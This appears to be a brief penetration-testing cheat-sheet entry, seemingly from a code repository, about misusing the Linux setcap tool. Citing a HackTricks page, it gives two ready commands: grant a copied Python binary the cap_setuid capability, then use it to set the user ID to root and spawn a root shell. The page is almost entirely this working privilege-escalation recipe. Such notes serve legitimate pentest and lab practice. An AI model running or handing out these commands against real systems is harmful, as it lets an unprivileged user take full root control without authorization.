370 B

Raw Blame History

setcap

Set capabilities of a binary
Hacktrick's setuid page

Usage

If there is an S-bit or sudo on setcap do the following. Copy python binary and

setcap cap_setuid+ep /absolute/path/to/copied/python3 
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"